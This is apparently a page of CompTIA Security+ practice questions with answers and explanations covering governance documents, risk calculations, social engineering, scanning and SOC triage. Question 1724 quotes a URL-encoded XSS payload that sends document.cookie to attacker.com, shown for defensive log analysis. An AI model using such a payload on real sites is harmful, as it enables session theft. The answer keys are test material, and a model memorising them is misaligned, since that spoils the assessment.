Examkin

All practice questions

2232 questions

All types2,232Multiple choice1,151Multiple select509Numeric21Matching378Ordering173
Question 1721Question →

A regional healthcare network is preparing to deploy standard desktop computer images across all administrative workstations. The security engineering team needs to document the mandatory minimum hardening requirements and line-by-line operating system security configurations that every system image must strictly conform to prior to being authorized for network placement. Which of the following governance documents should the security team create to specify these mandatory technical settings?

Show answer & explanation

Answer: A security baseline document

Answer

A security baseline document
A security baseline specifies the mandatory minimum security configurations and hardening benchmarks for a specific operating system, hardware platform, or software build. Establishing a baseline ensures all newly deployed systems maintain a consistent, secure configuration state before connecting to the enterprise network.

Step-by-Step Solution

1
Analyze the operational requirements stated in the scenario.
The scenario calls for mandatory minimum hardening settings and technical operating system parameters for system images.
Identifying whether requirements are mandatory, technical, or high-level dictates the appropriate governance document level.
2
Differentiate between governance document tiers in the security policy hierarchy.
Policies state broad management goals, standards set mandatory organizational rules, baselines establish mandatory technical platform build requirements, and guidelines offer discretionary advice.
Understanding document tiers ensures correct governance framework implementation.
3
Select the governance document type that matches mandatory platform configuration settings.
A security baseline directly fulfills the requirement for platform-specific minimum technical configurations.
Baselines serve as the official reference benchmark for technical hardening prior to deployment.

Key Concept

Security Baselines vs Policies and Guidelines
Estimated Time:1m 30s
Question 1722Question →

An online retail business directly processes customer credit card transactions and stores cardholder account information. Which of the following regulatory compliance standards specifically mandates security controls for safeguarding this payment card data?

Show answer & explanation

Answer: Payment Card Industry Data Security Standard (PCI-DSS)

Answer

Payment Card Industry Data Security Standard (PCI-DSS)
The Payment Card Industry Data Security Standard (PCI-DSS) is an information security standard designed to ensure that all companies that process, store, or transmit credit card information maintain a secure environment.

Step-by-Step Solution

1
Analyze the data type described in the scenario
The system processes and stores customer credit card details and cardholder data.
Determining the regulatory framework depends on identifying the exact type and classification of regulated data.
2
Match the data type to its governing security compliance standard
PCI-DSS directly governs merchant technical and operational requirements for credit card data.
Payment card security mandates are established specifically by the major payment card brands under PCI-DSS.

Key Concept

Regulatory Compliance and Legal Requirements Management
Question 1723Question →

A fintech company operates a cloud-based API gateway handling micro-transactions, with an estimated Asset Value (AVAV) of $600,000\$600,000. A risk assessment identifies that unmitigated Distributed Denial of Service (DDoS) attacks have an Exposure Factor (EFEF) of 35%35\% and an Annualized Rate of Occurrence (AROARO) of 0.500.50. The organization deploys an automated Web Application Firewall (WAF) that reduces the Exposure Factor to 10%10\%. The total annual operational cost of maintaining the WAF is $40,000\$40,000. What is the net annual financial benefit (in dollars) realized by implementing this security control?

Show answer & explanation

Answer: 35000

Answer

The net annual financial benefit realized by implementing the Web Application Firewall is $35,000.
The net financial benefit of implementing a risk response control is calculated by taking the difference between the pre-mitigation Annualized Loss Expectancy (ALEinitialALE_{initial}) and post-mitigation Annualized Loss Expectancy (ALEmitigatedALE_{mitigated}), and then subtracting the annual cost of the safeguard. Here, ALEinitial=$600,000×0.35×0.50=$105,000ALE_{initial} = \$600,000 \times 0.35 \times 0.50 = \$105,000, and ALEmitigated=$600,000×0.10×0.50=$30,000ALE_{mitigated} = \$600,000 \times 0.10 \times 0.50 = \$30,000. The gross ALE reduction is $\$ 75,000 .Subtractingtheannualmaintenancecostof. Subtracting the annual maintenance cost of \40,000$ yields a net annual financial benefit of $\35,000$.

Step-by-Step Solution

1
Calculate the initial Annualized Loss Expectancy (ALEinitialALE_{initial})
ALEinitial=$600,000×0.35×0.50=$105,000ALE_{initial} = \$600,000 \times 0.35 \times 0.50 = \$105,000
Determine the total expected monetary loss per year before applying the security safeguard.
2
Calculate the mitigated Annualized Loss Expectancy (ALEmitigatedALE_{mitigated})
ALEmitigated=$600,000×0.10×0.50=$30,000ALE_{mitigated} = \$600,000 \times 0.10 \times 0.50 = \$30,000
Determine the residual expected monetary loss per year after reducing the Exposure Factor to 10%.
3
Calculate the annual loss reduction (ALE savings)
ALEsavings=$105,000−$30,000=$75,000ALE_{savings} = \$105,000 - \$30,000 = \$75,000
Quantify the gross risk reduction benefit provided by the Web Application Firewall.
4
Subtract the annual operational cost of the safeguard
Net Benefit=$75,000−$40,000=$35,000Net\ Benefit = \$75,000 - \$40,000 = \$35,000
Evaluate the true net financial benefit gained by spending money on the control.

Key Concept

Quantitative Risk Assessment and Safeguard Cost-Benefit Analysis
Estimated Time:1m 30s
Question 1724Question →

A security analyst is triaging alerts from a Network Intrusion Detection System (NIDS) monitoring incoming web traffic to an internal app server. The NIDS sensor triggered an automated alert categorized as 'Database Manipulation Attempt' after capturing the following HTTP request payload:

`GET /catalog/product.php?id=%3Cscript%3Efetch%28%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E HTTP/1.1`
`Host: store.internal.net`

Upon reviewing the log payload, which of the following correctly identifies the actual threat vector present in the capture and the most appropriate remediation measure?

Show answer & explanation

Answer: Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.

Answer

Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.
The captured payload features URL-encoded HTML script tags (`%3Cscript%3E...%3C%2Fscript%3E`) attempting to exfiltrate session data stored in `document.cookie`. This is a classic indicator of Cross-Site Scripting (XSS). The primary mitigation for XSS is securing the application logic using robust input validation and output encoding.

Step-by-Step Solution

1
Analyze the packet payload in the NIDS alert
The URL parameter contains URL-encoded HTML tags and client-side JavaScript (`<script>fetch(...document.cookie)</script>`).
Examining the raw payload reveals the true attack pattern rather than relying solely on automated rule labels.
2
Distinguish between web application attack types
The presence of client-side script execution targeting session cookies confirms Cross-Site Scripting (XSS), not SQL Injection.
SQL injection involves database query manipulation syntax (e.g., `SELECT`, `' OR 1=1`), whereas XSS targets client browser execution.
3
Determine the effective root-cause remediation control
Sanitizing input and encoding output at the application layer neutralizes script execution attempts.
Remediating vulnerable application code addresses the root cause directly, whereas network-level blocking or honeypots fail to secure the code flaw.

Key Concept

Log Payload Analysis & Security Control Selection
Question 1725Question →

An industrial manufacturing firm operates an edge computing controller managing automated assembly lines, valued at an Asset Value (AVAV) of $500,000\$500,000. Security assessments indicate an unmitigated Exposure Factor (EFEF) of 0.400.40 (40%40\%) with an Annual Rate of Occurrence (AROARO) of 0.50.5 for hardware failure caused by power anomalies. To reduce risk, the organization evaluates a high-availability failover appliance costing $30,000\$30,000 annually, which would lower the Exposure Factor to 0.100.10 (10%10\%) without affecting the AROARO. What is the net annual financial benefit of implementing this risk mitigation control?

Show answer & explanation

Answer: $45,000\$45,000

Answer

The net annual financial benefit of implementing the safeguard is $45,000\$45,000.
To find the net annual financial benefit of a security control, first calculate the initial Annual Loss Expectancy (ALEinitial=AV×EFinitial×ARO=$500,000×0.40×0.5=$100,000ALE_{initial} = AV \times EF_{initial} \times ARO = \$500,000 \times 0.40 \times 0.5 = \$100,000). Next, calculate the residual Annual Loss Expectancy (ALEmitigated=AV×EFmitigated×ARO=$500,000×0.10×0.5=$25,000ALE_{mitigated} = AV \times EF_{mitigated} \times ARO = \$500,000 \times 0.10 \times 0.5 = \$25,000). Subtracting the mitigated ALE from initial ALE yields an annual gross loss reduction of $75,000\$75,000. Subtracting the annual safeguard cost of $30,000\$30,000 from the gross reduction results in a net annual benefit of $45,000\$45,000.

Step-by-Step Solution

1
Calculate initial Single Loss Expectancy (SLE) and Annual Loss Expectancy (ALE)
Initial SLE=$500,000×0.40=$200,000SLE = \$500,000 \times 0.40 = \$200,000; Initial ALE=$200,000×0.5=$100,000ALE = \$200,000 \times 0.5 = \$100,000.
Quantifies the annual financial impact of the unmitigated risk prior to implementing controls.
2
Calculate post-mitigation Single Loss Expectancy (SLE) and Annual Loss Expectancy (ALE)
Mitigated SLE=$500,000×0.10=$50,000SLE = \$500,000 \times 0.10 = \$50,000; Mitigated ALE=$50,000×0.5=$25,000ALE = \$50,000 \times 0.5 = \$25,000.
Quantifies the residual annual financial impact expected with the safeguard active.
3
Calculate Annual Loss Reduction and Net Financial Benefit
Gross Loss Reduction = $100,000−$25,000=$75,000\$100,000 - \$25,000 = \$75,000. Net Financial Benefit = $75,000−$30,000=$45,000\$75,000 - \$30,000 = \$45,000.
Subtracts the annual cost of the safeguard control from the overall annual loss reduction to determine net value.

Key Concept

Quantitative Risk Assessment and Safeguard Cost-Benefit Analysis (ALE = AV * EF * ARO)
Estimated Time:1m 30s
Question 1726Question →

Following an unauthorized intrusion into a server facility, an enterprise security team installs physical key-locked USB port blockers directly onto all exposed server ports to restrict direct hardware access. According to CompTIA Security+ standards, which control category and functional type best describe this security mechanism?

Show answer & explanation

Answer: Physical category and preventive functional type

Answer

The control is classified under the Physical category and performs a Preventive functional type.
Physical controls are tangible barriers protecting hardware, assets, and facilities. Preventive controls proactively stop security incidents from occurring. Physical USB port locks fit both definitions because they are mechanical items that physically block unauthorized hardware connections.

Step-by-Step Solution

1
Determine the Control Category
The USB port blockers are physical, tangible hardware devices deployed to secure facility hardware.
Physical controls consist of tangible objects, barriers, and environmental mechanisms used to safeguard assets.
2
Determine the Functional Type
The blockers stop unauthorized USB insertion attempts before a connection can take place.
Preventive controls proactively block or deter unauthorized actions to keep security incidents from occurring.

Key Concept

Security Control Categories and Functional Types
Question 1727Question →

An enterprise security operations center (SOC) discovers that several employees mistakenly submitted their corporate domain credentials to an external login portal. The malicious portal was hosted on `login.acme-corp.net`, whereas the legitimate enterprise single sign-on (SSO) portal is `login.acme-corp.com`. The attacker registered the alternate top-level domain to impersonate the enterprise authentication interface. Which of the following social engineering attack vectors was primarily executed by the attacker?

Show answer & explanation

Answer: Typosquatting

Answer

Typosquatting
Typosquatting (also known as URL hijacking) relies on registering domain names that closely resemble legitimate enterprise domain names—such as changing the top-level domain extension from `.com` to `.net` or inserting common misspellings—to trick users into delivering credentials to an attacker-controlled infrastructure.

Step-by-Step Solution

1
Analyze the incident indicator
Identified that the attacker registered `login.acme-corp.net` to imitate the legitimate domain `login.acme-corp.com`.
Determining how the malicious destination was constructed reveals the specific vector utilized.
2
Map the technique to social engineering categories
Registering slightly modified or alternate top-level domain names to trick users into believing a fake site is authentic defines URL hijacking/typosquatting.
Typosquatting relies on user misdirection through minor textual variations or domain extension swaps.

Key Concept

Typosquatting and Domain Impersonation
Question 1728Question →

An organization is establishing a security awareness program to reduce human risk from social engineering tactics. Which of the following initiatives represent core operational components of an effective security awareness and training program? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Delivering role-relevant micro-learning modules that highlight common phishing indicators during employee onboarding; Establishing simple, accessible mechanisms for employees to report suspected security incidents without fear of retribution

Answer

Delivering role-relevant micro-learning modules during onboarding and establishing simple, non-punitive incident reporting mechanisms.
Delivering role-relevant micro-learning modules during onboarding equips personnel with essential skills to recognize phishing and social engineering. Additionally, implementing accessible, non-punitive reporting mechanisms encourages employees to alert security teams immediately when suspicious activity is detected.

Step-by-Step Solution

1
Identify fundamental human risk management practices
Effective awareness programs combine continuous, bite-sized training with accessible threat reporting mechanisms.
Training helps users identify threats, while straightforward reporting enables rapid containment by security teams.
2
Evaluate technical and governance misclassifications
Replacing awareness with technical filtering or treating training as optional fails to address human vulnerability.
Technical controls cannot block every social engineering attempt, and optional guidelines lead to inconsistent participation.

Key Concept

Security Awareness Programs and Human Risk Management
Question 1729Question →

An enterprise risk committee is structuring its organizational governance framework. Match each policy framework document type on the left with its defining enforcement requirement and operational characteristics on the right.

Click a left item, then click its matching right item

Items

Security Policy
Security Standard
Security Baseline
Security Guideline

Matches

Show answer & explanation

Answer

Security Policy matches the high-level executive directive; Security Standard matches mandatory specific technical rules; Security Baseline matches mandatory minimum configuration thresholds; Security Guideline matches discretionary operational recommendations.
Each governance document plays a specific role within the governance hierarchy. Security Policies provide broad management authorization and intent. Security Standards enforce mandatory specific technical parameters. Security Baselines establish minimum operational hardening rules for deployed systems. Security Guidelines provide non-mandatory best practices.

Step-by-Step Solution

1
Analyze the enforceability and scope of each governance document type.
Identified whether each document is mandatory or discretionary, and whether it operates at a strategic or technical level.
Governance documents strictly follow a hierarchy where intent flows from high-level management strategy down to operational implementation.
2
Pair each document type with its corresponding role in enterprise security governance.
Mapped policies to strategic directives, standards to mandatory technical rules, baselines to minimum platform configurations, and guidelines to advisory best practices.
Differentiating between mandatory controls (policy, standard, baseline) and discretionary guidance (guideline) prevents compliance misunderstandings.

Key Concept

Security Governance Policy Hierarchy
Estimated Time:1m 30s
Question 1730Question →

A cloud-native SaaS provider headquartered in Japan processes real-time telemetry, transaction records, and personally identifiable information (PII) for subscribers across the European Union and North America. Following an internal compliance review prior to a public stock listing, the Chief Information Security Officer (CISO) mandates that technical security controls for data handling must satisfy regional privacy laws, data sovereignty requirements, and financial oversight controls. Which of the following governance strategies best aligns the organization's technical controls with these legal and regulatory obligations?

Show answer & explanation

Answer: Implement localized data encryption using region-specific customer-managed keys to satisfy data privacy mandates while maintaining centralized, immutable audit logging for financial oversight.

Answer

Implementing localized data encryption with region-specific customer-managed keys alongside centralized, immutable audit logging best satisfies both regional privacy regulations and financial oversight standards.
The correct option addresses both aspects of the scenario: localized cryptographic key control satisfies regional privacy regulations and data sovereignty requirements, while centralized immutable logging preserves the audit trails required for financial reporting governance.

Step-by-Step Solution

1
Analyze organizational compliance obligations across operating jurisdictions.
Identified cross-border requirements including regional privacy/sovereignty mandates for subscriber PII and strict auditability/retention mandates for financial records.
Multinational organizations must adhere to statutory requirements in every region where data is collected or processed.
2
Evaluate technical and governance controls against identified regulatory mandates.
Regionally managed cryptographic keys enforce data sovereignty and privacy, while centralized immutable logs support global financial oversight and non-repudiation.
Security architecture must balance localized privacy boundaries with centralized administrative audit requirements.
3
Select the option that correctly satisfies both privacy and financial compliance without violating control functions or legal scopes.
The strategy combining localized encryption key management with immutable audit logging provides complete compliance alignment.
This strategy correctly applies technical control types without attempting invalid legal exemptions or improper data reclassifications.

Key Concept

Regulatory Compliance and Legal Requirements Management
Question 1731Question →

An organization is evaluating security attestation documentation from a prospective software-as-a-service vendor to verify the strength of their operational security posture. The vendor submits both a SOC 2 Type I report and a SOC 2 Type II report. Which of the following statements correctly distinguish the scope and purpose of these two attestation reports? (Select TWO).

Select all that apply

Show answer & explanation

Answer: The SOC 2 Type I report assesses whether the vendor's security controls are suitability designed at a single, specific point in time.; The SOC 2 Type II report verifies both the design suitability and the operational effectiveness of security controls over an extended evaluation period.

Answer

The SOC 2 Type I report assesses control design suitability at a specific point in time, while the SOC 2 Type II report evaluates both design suitability and operational effectiveness over a specified testing period.
The correct responses recognize that a SOC 2 Type I report evaluates control design suitability at a single point in time, whereas a SOC 2 Type II report assesses both control design and operational effectiveness across an extended evaluation period.

Step-by-Step Solution

1
Differentiate between point-in-time and period-of-time evaluation types.
Identified that Type I reports evaluate control design at a specific point in time, whereas Type II reports test controls across a historical timeframe (e.g., 6–12 months).
CompTIA Security+ objectives require distinguishing between static design assessments and longitudinal operational testing.
2
Differentiate SOC report scope (SOC 1 vs SOC 2).
Confirmed that SOC 2 focuses on Trust Services Criteria (security, availability, confidentiality, processing integrity, privacy), while SOC 1 focuses on Financial Reporting (ICFR).
Ensures accurate identification of report objectives when vetting third-party risk.

Key Concept

SOC 2 Type I vs Type II Attestation Scope
Question 1732Question →

An enterprise security team is categorizing various security controls according to CompTIA Security+ framework classifications. Match each security control implementation on the left with its corresponding control category and functional type on the right.

Click a left item, then click its matching right item

Items

Developing and enforcing an enterprise Information Security Policy that specifies mandatory data handling rules.
Deploying web application firewalls (WAF) to automatically block SQL injection attempts against web applications.
Restoring system configurations and databases from isolated backups following a malware encryption incident.
Installing high-visibility warning signs along the perimeter fencing of a secure data center facility.

Matches

Show answer & explanation

Answer

Developing security policies matches Managerial Category / Directive Type; Web application firewalls match Technical Category / Preventive Type; Restoring systems from backups matches Operational Category / Corrective Type; Installing perimeter warning signs matches Physical Category / Deterrent Type.
Each control is correctly classified based on CompTIA Security+ standards: Enterprise policies are governance-driven (Managerial) rules (Directive); WAFs are technology safeguards (Technical) that proactively block attacks (Preventive); data restoration is a procedural task (Operational) that remedies post-incident damage (Corrective); and physical warning signs are tangible facility measures (Physical) meant to discourage intruders (Deterrent).

Step-by-Step Solution

1
Analyze control implementation mechanisms to determine their primary category (Managerial, Technical, Operational, or Physical).
Policies reflect Managerial governance; WAFs reflect Technical software; backup restoration reflects Operational procedures; warning signs reflect Physical facility controls.
Control categories are defined by how the security control is implemented and administered.
2
Determine the functional goal of each control (Preventive, Deterrent, Detective, Corrective, Compensating, or Directive).
Policies direct behavior; WAFs prevent attacks; backups correct damage post-incident; warning signs deter potential intruders.
Functional types are classified by the control's purpose in the security incident lifecycle.
3
Combine the identified category and functional type for each security control to complete the matching pairs.
All four controls are accurately mapped to their unique dual-axis classifications.
Each control satisfies exactly one category and one functional type combination provided.

Key Concept

Dual-axis classification of security controls by category (Managerial, Technical, Operational, Physical) and functional type (Preventive, Deterrent, Detective, Corrective, Compensating, Directive).
Question 1733Question →

Following an internal compliance audit that revealed inconsistent server hardening across cloud environments, a technology firm needs to publish a mandatory document defining the minimum required technical security settings—such as disabled protocols and required encryption key lengths—that every system must satisfy before deployment. Which of the following governance document types should the security team establish to enforce these mandatory minimum technical settings?

Show answer & explanation

Answer: Baseline

Answer

Baseline
A security baseline specifies the mandatory minimum security configuration settings and system hardening requirements that all host systems or applications must conform to before entering production. In this scenario, creating a baseline ensures consistent minimum security thresholds across all deployed infrastructure.

Step-by-Step Solution

1
Analyze the operational requirement described in the enterprise scenario.
The organization requires a mandatory governance document specifying minimum technical security configurations for system deployment.
Determining whether the requirement is high-level, procedural, optional, or minimum-mandatory establishes the appropriate governance document layer.
2
Evaluate governance document definitions against the requirement.
A baseline establishes mandatory minimum configuration settings across systems. Policies set high-level goals, procedures detail step-by-step tasks, and guidelines offer non-mandatory recommendations.
Comparing document types in the governance hierarchy identifies which document type sets enforceable technical minimums.
3
Select the document type designed to enforce minimum baseline configurations.
The baseline document directly satisfies the requirement for mandatory minimum technical hardening standards.
Baselines ensure consistent minimum security controls are applied before systems transition into production.

Key Concept

Security Baseline Configurations in Governance Hierarchy
Question 1734Question →

A Software-as-a-Service (SaaS) platform provider headquartered in the United States expands its human resources management platform to serve client organizations based in the European Union (EU). Which of the following regulatory compliance mandates must the organization implement to fulfill General Data Protection Regulation (GDPR) requirements? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Establish a recognized legal basis, such as explicit consent or contractual necessity, prior to processing personal data.; Provide data subjects with the mechanism to request erasure of their personal records upon demand.

Answer

The organization must establish a lawful basis for processing personal data and ensure EU data subjects are provided the right to request erasure of their personal data.
The correct requirements involve establishing a recognized legal basis (such as explicit consent) prior to processing personal data and honoring data subject rights, specifically the right to request data erasure ('right to be forgotten'). Both are core tenets of GDPR compliance for processing EU citizens' personal data.

Step-by-Step Solution

1
Identify the applicable regulatory framework.
Processing personal data of EU residents triggers compliance obligations under the European Union General Data Protection Regulation (GDPR).
GDPR applies extra-territorially to any enterprise offering goods or services to EU data subjects regardless of the company's physical headquarters.
2
Evaluate fundamental GDPR requirements for lawful processing and user rights.
GDPR mandates establishing a lawful basis (e.g., explicit consent, legitimate interest, or contract execution) and recognizing individual privacy rights such as the right to erasure.
Articles 6 and 17 of GDPR explicitly define lawful processing conditions and the right to be forgotten.
3
Differentiate non-applicable regulatory frameworks and improper control strategies.
Exclusively storing data in US federal facilities without transfer mechanisms violates cross-border transfer laws, while PCI-DSS applies exclusively to payment cardholder data.
Proper regulatory scope analysis prevents misapplying payment standards to general HR data or creating regulatory violations through unapproved data transfers.

Key Concept

GDPR Regulatory Compliance and Data Subject Rights
Estimated Time:50s
Question 1735Question →

A security analyst managing legacy workstation endpoints in a healthcare facility needs to remediate a critical operating system vulnerability. Vendor patches frequently reset customized local security policies back to default settings, exposing the devices to unauthorized access. Which of the following approaches best maintains system security baselines while ensuring timely vulnerability remediation?

Show answer & explanation

Answer: Validate vendor updates in a mirrored staging environment, document configuration baseline variations, and deploy updates via standard change management procedures.

Answer

Validate vendor updates in a mirrored staging environment, document configuration baseline variations, and deploy updates via standard change management procedures.
Testing patches within a mirrored staging environment ensures that any configuration baseline overrides caused by vendor updates are identified and corrected prior to production deployment.

Step-by-Step Solution

1
Analyze the security and operational risk
Identified that applying vendor patches directly causes configuration drift by overwriting custom security hardening settings.
Production environments require both vulnerability mitigation and strict adherence to security configuration baselines.
2
Evaluate remediation strategies
Staging environments allow security teams to observe patch behavior and baseline changes without impacting live systems.
Staging validation identifies baseline regressions early so post-patch configuration scripts can be prepared prior to live deployment.

Key Concept

Patch and Configuration Baseline Auditing in Change Management
Estimated Time:1m 30s
Question 1736Question →

A security analyst is reviewing metric parameters established during an enterprise Business Impact Analysis (BIA). Which of the following statements accurately describe the operational targets set by Recovery Time Objective (RTO) and Recovery Point Objective (RPO)? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Recovery Time Objective (RTO) specifies the maximum acceptable duration of system downtime before service restoration.; Recovery Point Objective (RPO) defines the maximum allowable data loss measured in time prior to an outage.

Answer

The correct statements are that Recovery Time Objective (RTO) specifies the maximum acceptable duration of system downtime before service restoration, and Recovery Point Objective (RPO) defines the maximum allowable data loss measured in time prior to an outage.
Recovery Time Objective (RTO) addresses operational downtime by setting the target duration for restoring business systems. Recovery Point Objective (RPO) addresses data preservation by defining the maximum acceptable age of data lost during an interruption, directly dictating data backup frequency requirements.

Step-by-Step Solution

1
Identify the core definition of Recovery Time Objective (RTO).
RTO focuses on duration of downtime—how quickly systems and business processes must be brought back online.
RTO measures service restoration time from the moment an outage occurs until system availability is re-established.
2
Identify the core definition of Recovery Point Objective (RPO).
RPO focuses on acceptable data loss—how far back in time data recovery must go (e.g., last clean backup).
RPO dictates backup frequency by establishing the maximum tolerable timeframe of data loss.
3
Evaluate the choices to select the two statements that correctly align with these definitions.
Statements defining RTO as downtime duration and RPO as data loss timeframe are verified as correct.
Swapping the concepts of data loss tolerance and downtime duration is a common misconception.

Key Concept

Distinction between Recovery Time Objective (RTO) and Recovery Point Objective (RPO)
Question 1737Question →

A security analyst is establishing a comprehensive vulnerability scanning framework for an enterprise network containing diverse operational environments. Match each vulnerability assessment requirement on the left with the scanner deployment methodology or configuration option on the right that best satisfies it.

Click a left item, then click its matching right item

Items

Evaluating public-facing web applications behind an inline Web Application Firewall (WAF) without active security filters altering or dropping vulnerability probes.
Auditing internal system configurations and local missing patches across remote endpoints with minimal network bandwidth overhead.
Assessing sensitive legacy Operational Technology (OT) and Supervisory Control and Data Acquisition (SCADA) networks where active probing may cause device instability.
Simulating an initial external reconnaissance phase conducted by an untrusted remote attacker targeting perimeter assets.

Matches

Show answer & explanation

Answer

Evaluating public-facing web applications behind a WAF matches with Scanner IP address whitelisting. Auditing internal configurations across remote endpoints with minimal bandwidth matches with Credentialed agent-based scanning deployment. Assessing sensitive legacy OT/SCADA networks without causing instability matches with Passive network listening and traffic monitoring. Simulating an initial external reconnaissance phase by an untrusted attacker matches with Non-credentialed network-based perimeter scanning.
Each scanner deployment method directly addresses distinct environmental constraints: WAF IP whitelisting prevents scan interference on web applications; agent-based scanning minimizes network overhead and provides deep host visibility; passive monitoring protects legacy OT/SCADA devices from crash risks caused by active probes; and non-credentialed external scanning provides a realistic view of perimeter exposure from an attacker's perspective.

Step-by-Step Solution

1
Analyze the web application security assessment requirement behind a WAF.
Inline WAF security controls drop or alter aggressive scanner payloads, producing incomplete scan results. Configured IP whitelisting bypasses blocking rules for legitimate scan traffic.
Security controls like WAFs must be informed of security testing to prevent false negatives caused by active payload blocking.
2
Identify the optimal scanning mechanism for remote endpoints and low-bandwidth constraints.
Agent-based scanners execute locally on the operating system, collecting inventory and patch state directly without streaming network port probes.
Agent architectures offload scanning execution to local system processes and transfer only compressed result manifests.
3
Select the appropriate technique for fragile, high-availability OT/SCADA environments.
Passive traffic monitoring analyzes network packets non-intrusively, identifying OS versions and known vulnerabilities without sending active probes.
Legacy industrial controllers frequently fault or crash when receiving unexpected or malformed TCP/IP probes generated by active vulnerability scanners.
4
Determine the methodology for simulating external threat actor perspectives.
Non-credentialed external scans inspect perimeter targets without system privileges, revealing exposed services and unpatched vulnerabilities accessible from the internet.
An unauthenticated remote attack simulation requires scanning from an external network segment without supplying valid host login credentials.

Key Concept

Vulnerability Scanner Deployment Methodologies and Operational Impact
Estimated Time:2m 0s
Question 1738Question →

A Security Operations Center (SOC) analyst receives a high-priority alert from a Network Intrusion Detection System (NIDS) indicating suspicious outbound traffic from an internal enterprise workstation. Place the following analyst triage and incident response steps in the correct sequence, from initial alert evaluation to containment.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence starts with inspecting the NIDS alert metadata in the SIEM, followed by querying NetFlow and PCAP telemetry records, cross-referencing destination indicators against threat intelligence feeds, and concluding with confirming the true positive alert and isolating the affected host.
Effective network security alert triage proceeds systematically from alert identification and SIEM evaluation, to telemetry deep-dive (NetFlow/PCAP analysis), threat intelligence enrichment, and finally root-cause confirmation leading to host containment.

Step-by-Step Solution

1
Review initial SIEM alert details
Identified source workstation, destination IP, and specific NIDS signature.
Initial alert validation establishes baseline context before performing deeper queries.
2
Analyze supporting network telemetry (NetFlow/PCAP)
Detailed flow volume, session frequency, and packet characteristics gathered.
Telemetry logs confirm whether network traffic matched actual transmission patterns or was a false alarm.
3
Perform threat intelligence lookup
Destination IP confirmed to be associated with known botnet infrastructure.
Enriching local traffic data with global threat intelligence verifies malicious indicator severity.
4
Execute host containment
Workstation isolated from the network segment.
Immediate containment halts potential data exfiltration and lateral movement across the enterprise.

Key Concept

Network Security Monitoring Triage Workflow
Question 1739Question →

A security analyst is reviewing incident reports from remote staff who experienced a coordinated social engineering campaign. Several employees received text messages on their corporate mobile devices containing links to a counterfeit login portal, while other employees received phone calls from an attacker posing as IT support attempting to obtain credential resets. Which of the following social engineering attack vectors were executed during this incident? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Smishing; Vishing

Answer

Smishing and Vishing
Smishing describes social engineering attacks delivered via SMS text messages, matching the text messages sent to corporate mobile devices. Vishing describes voice-based phishing over telephone calls, matching the attacker calling employees while impersonating IT support staff. Both options accurately reflect the attack vectors described in the scenario.

Step-by-Step Solution

1
Identify the vector used in the text message delivery channel.
SMS text messages sent to mobile devices with malicious links constitute smishing.
Phishing attempts conducted via Short Message Service (SMS) are defined as smishing.
2
Identify the vector used in the telephone delivery channel.
Telephone calls where an attacker impersonates IT support personnel constitute vishing.
Voice-based telephone social engineering is defined as vishing.
3
Distinguish correct communication channels from web-based or domain-based attack techniques.
Watering hole attacks and typosquatting do not involve direct text message or voice communication channels.
Watering hole attacks compromise specific websites, while typosquatting targets URL misspellings.

Key Concept

Identification of social engineering attack vectors based on communication medium
Question 1740Question →

An administrative assistant at a logistics firm receives an urgent text message on their corporate mobile phone from an unverified short code claiming to be the company's Vice President of Operations. The message asserts that a supplier invoice must be authorized immediately via a provided short link to prevent supply chain disruption, warning that delay will result in severe administrative penalty. Which social engineering attack vector and primary influence principle are demonstrated in this scenario?

Show answer & explanation

Answer: Smishing utilizing authority and urgency

Answer

Smishing utilizing authority and urgency
The attack uses SMS text messaging as its transport mechanism, which defines smishing. The attacker leverages the victim's obedience to corporate hierarchy (authority) and creates artificial time pressure backed by threats of punishment (urgency) to force compliance without verification.

Step-by-Step Solution

1
Identify the communication medium used in the attack scenario.
The message was received via mobile text messaging (SMS), which defines the attack vector as smishing.
Phishing variants are distinguished primarily by medium: email (phishing/spear phishing), voice call (vishing), or SMS (smishing).
2
Analyze the target of the attack versus the identity assumed by the threat actor.
The target is an administrative assistant, while the attacker claims to be a Vice President.
This shows an executive impersonation attack aimed at a staff member, excluding whaling (which targets executives).
3
Determine the psychological influence principles employed by the attacker.
The attacker invokes the rank of Vice President (authority) and demands immediate action under threat of penalty (urgency).
Social engineering tactics manipulate human behavioral triggers to bypass formal operational controls.

Key Concept

Social Engineering Attack Vectors and Principles of Influence
PreviousPage 87 / 112Next
All practice questions — CompTIA Security+ | Examkin